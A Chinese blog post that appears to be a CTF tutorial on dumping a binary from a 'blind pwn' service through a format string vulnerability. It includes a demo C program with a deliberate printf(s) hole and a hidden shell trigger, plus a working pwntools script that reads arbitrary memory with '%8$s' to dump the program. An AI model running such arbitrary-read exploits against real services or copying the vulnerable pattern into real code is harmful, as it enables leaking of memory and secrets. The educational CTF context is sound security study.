格式化字符串类盲pwn的dump方法

有一类题目,不会给任何文件,只给一个ip和端口,这种称为blind pwn(盲pwn),如果这类pwn存在格式化字符串漏洞的话,可以通过一些手法拿到整个二进制程序,这对我们的逆向分析和解题是十分重要的,举个例子:

在2022年的Insomni’hack teaser比赛上,有一道题CovidLe$s,就是一道盲pwn,输入什么就回显什么,但是存在格式化字符串漏洞,并且应该是栈上的,通过不断的尝试是可以大致猜测出栈结构的:
在这里插入图片描述
从偏移12开始是栈上的缓冲区,29那里是canary,31是返回地址,根据后三位可以猜到libc大版本

但是到这里也就结束了,无法继续推进了,此时就需要用到接下来将要介绍的方法,将整个程序dump下来才能继续分析

首先来看看dump下来的文件:
在这里插入图片描述

可以看到虽然不是很完整,但是大致的逻辑结构是能看到的,如果不dump下来的话,就不可能拿到这道题目的密钥,也就不可能做出来这道题,所以有些时候dump文件是必要的

dump的原理其实也很简单,其实就是利用格式化字符串的%n$p这类指令进行任意地址读

由于比赛已经结束,端口已经关闭,所以我们来自己写一个小demo:

#include<stdio.h>
#include<stdlib.h>
int main()
{
	setbuf(stdin, 0LL);
        setbuf(stdout, 0LL);
	setbuf(stderr, 0LL);
	char s[0x100];
	memset(s,0,0x100);
	while(1)
	{
		read(0,s,0x50);
		if(!strcmp(s,"Ayaka"))system("/bin/sh");
		printf(s);
	}
}

如果这是一道真实的题,那么Ayaka这个字符串如果不去dump文件,我们是不会得到的。

一开始我们要手工做一些准备工作:
在这里插入图片描述

可以看到我们偏移为6

我们要dump的东西是程序的text段,其起始位置在_start,所以我们要先把_start的地址确定下来

这里要利用一个特点,就是_start函数地址会在栈中出现多次,所以要先打印一部分栈空间,然后找到明显属于程序text段并且出现多次的地址,一般来说就是_start的地址

在这里插入图片描述
这里能看到0x400630明显是text段的地址,并且在42和57位置都出现了,所以这里应该就是_start()

接下来就是dump,在dump的时候可以直接用%s,因为%s是\x00截断,所以只要出现截断,直接当做是\x00,然后把地址+1即可

至于dump到哪里停止,可以把连续八字节的\x00当做结束标志

这个demo没有开pie,所以直接从0x400000开始dump就行

在这里插入图片描述

我这里顺带把0x600000那里也dump了一下,这个demo程序的结构比较简单,可以看到结果基本除了符号表之外都有,可以很清楚的看到程序结构

如果需要dump其他复杂一些的程序,可以只dump前面的,甚至只dump text段,都是可以解析出函数的,只不过可读性会差一些。

dump脚本如下:

from re import L
from pwn import *
from ctypes import *
from Ayaka import *
import base64
from Crypto.Util.number import *
#context.log_level = 'debug'
context.arch='amd64'
io = process('./test')
#io = remote('52.59.124.14',10200)
#libc = ELF('./libc-2.31.so')
#elf=ELF("./pwn")
rl = lambda    a=False        : io.recvline(a)
ru = lambda a,b=True    : io.recvuntil(a,b)
rn = lambda x            : io.recvn(x)
sn = lambda x            : io.send(x)
sl = lambda x            : io.sendline(x)
sa = lambda a,b            : io.sendafter(a,b)
sla = lambda a,b        : io.sendlineafter(a,b)
irt = lambda            : io.interactive()
dbg = lambda text=None  : gdb.attach(io, text)
# lg = lambda s,addr        : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s,addr))
lg = lambda s            : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))
uu32 = lambda data        : u32(data.ljust(4, b'\x00'))
uu64 = lambda data        : u64(data.ljust(8, b'\x00'))
start=0x400630
base=0x400000
data=0x600000
size=0x1000
TEXT=''
while True:
        if base>=0x401000 and base<data:
                TEXT+='\x00'
                base+=1
                continue
        io.sendline("LEAK---->%8$s|*|"+p64(base))
        ru("LEAK---->")
        s=io.recvuntil('|*|',drop=True)
        TEXT+=s
        base+=len(s)
        print(len(TEXT))
        if len(s)==0:
                TEXT+='\x00'
                base+=1
        if base>=0x601000:
                break
"""         if TEXT[-9:-1]=='\x00'*8  and base > start:
                break """
print("leak ",len(TEXT),"bytes successfully")
with open('dumpfile','wb') as f:
            f.write(TEXT)
#irt()
  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值